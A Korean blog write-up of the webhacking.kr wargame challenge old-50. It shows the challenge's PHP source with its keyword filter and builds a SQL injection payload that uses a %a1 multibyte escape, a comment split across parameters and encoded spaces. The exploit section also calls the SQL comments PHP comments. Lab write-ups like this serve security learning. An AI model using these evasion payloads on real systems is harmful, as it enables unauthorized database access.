WarGame

webhacking.kr: old-50

Sono Hacking Study 2024. 10. 1. 23:42

1. 문제 풀이

사용자의 입력이 그대로 쿼리문에 포함된다. SQL Injection 공격에 취약한 사이트같다.

 

<form method=get>
id : <input name=id value='guest'><br>
pw : <input name=pw value='guest'><br>
<input type=submit>&nbsp;&nbsp;&nbsp;<input type=reset>
</form>
<?php
  if($_GET['id'] && $_GET['pw']){
    $db = dbconnect();
    $_GET['id'] = addslashes($_GET['id']); 
    $_GET['pw'] = addslashes($_GET['pw']);
    $_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
    foreach($_GET as $ck) if(preg_match("/from|pw|\(|\)| |%|=|>|</i",$ck)) exit();
    if(preg_match("/union/i",$_GET['id'])) exit();
    $result = mysqli_fetch_array(mysqli_query($db,"select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
    if($result){
      if($result['lv']==1) echo("level : 1<br><br>");
      if($result['lv']==2) echo("level : 2<br><br>");
    } 
    if($result['lv']=="3") solve(50);
    if(!$result) echo("Wrong");
  }
?>

 

 

<코드 일부분>

foreach($_GET as $ck) if(preg_match("/from|pw|\(|\)| |%|=|>|</i",$ck)) exit();
if(preg_match("/union/i",$_GET['id'])) exit();

-> old-27과 같이 특정 문자들을 필터링한다. from, pw, (, ), %, =, >, <, union

$result = mysqli_fetch_array(mysqli_query($db,"select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
if($result){
      if($result['lv']==1) echo("level : 1<br><br>");
      if($result['lv']==2) echo("level : 2<br><br>");
    } 
    if($result['lv']=="3") solve(50);
    if(!$result) echo("Wrong");
  }

2. 익스플로잇

guest-guest일 때 level 1이다.

 

flag를 얻으려면 level 3여야한다. 그리고 쿼리문은 사용자가 입력한 id와 pw를 포함한다.

해당 쿼리문을 조작하여 lv3가 되기 위해서는, id값에 따옴표를 사용해 쿼리의 흐흠을 끊고 주석을 사용해야 한다.

guest-guest 일 때의 쿼리문이 이렇게 된다

select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')
https://webhacking.kr/challenge/web-25/?id=guest&pw=guest

 

php에서 주석을 사용하는 방법은 두 가지가 있다.

1) 1개의 라인만 주석 처리를 할 경우에는 '//'를 사용한다.

2) 여러 줄을 주석처리 할 경우 /*[내용]*/을 사용한다.

 

'/*&pw=*/union select 3#

->'를 %a1으로, 공백을 %0a로, #dmf %23으로 우회한다.

%a1'/*&pw=*/union%0aselect%0a3%23

 

'WarGame' 카테고리의 다른 글

webhacking.kr: old-27  (0) 2024.10.01